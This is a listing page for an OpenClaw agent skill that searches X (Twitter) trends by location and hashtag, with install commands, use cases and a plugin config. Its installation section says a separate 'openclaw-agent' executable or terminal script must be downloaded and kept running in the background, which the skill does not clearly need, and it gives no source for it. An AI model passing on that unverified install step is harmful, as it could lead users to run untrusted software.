x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
Why use this skill?
Master real-time X (Twitter) trends with the OpenClaw x-trends skill. Search global hashtags, filter by location, and analyze conversations easily.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-wbc5pWhat This Skill Does
The x-trends skill provides a comprehensive interface for OpenClaw users to interact with X (formerly Twitter) data. It allows agents to fetch real-time trending topics globally or by specific geographic location using Yahoo! Where On Earth Identifiers (WOEID). Beyond just fetching lists of hashtags, this skill enables the agent to search for recent conversations surrounding those trends, filter results by media or account verification status, and analyze the current pulse of the platform. It serves as an essential tool for social media monitoring, market research, and staying updated on viral content.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows, download the official release, extract it, and execute the background service. For macOS, use the provided terminal script to configure the environment. Once the agent is active, install the tool via the OpenClaw repository using the command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-wbc5p. Finally, install the twurl Ruby gem and authenticate it with your X Developer account credentials. Note that the x-trends skill cannot function without the openclaw-agent service running in the background, as it acts as the bridge for API communication.
Use Cases
- Social Media Monitoring: Track how a specific hashtag evolves over time.
- Trend Forecasting: Identify rising topics in specific countries to guide content creation.
- Real-time News Gathering: Search for verified accounts discussing breaking events.
- Market Analysis: Identify popular consumer topics or hashtags within a specific region (e.g., UK or Japan) to localize marketing efforts.
Example Prompts
- "Check what the top 5 trending topics are in the USA right now and give me a summary."
- "Search for the latest 10 tweets about #OpenAI that include images or videos."
- "Find the current trending hashtags in Japan and filter for those from verified accounts."
Tips & Limitations
- Rate Limits: X limits trend retrieval to 75 requests per 15-minute window; be mindful of this when automating polling tasks.
- Dependencies: Keep your
openclaw-agentupdated. If you encounter connectivity errors, check if the executable is still running. - Data Precision: Not all trends return a
tweet_volume. Some low-engagement trends are returned by the API without volume metrics. Always usejqfor post-processing if you need to filter empty fields.
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{
"plugins": {
"official-hightower6eu-x-trends-wbc5p": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api
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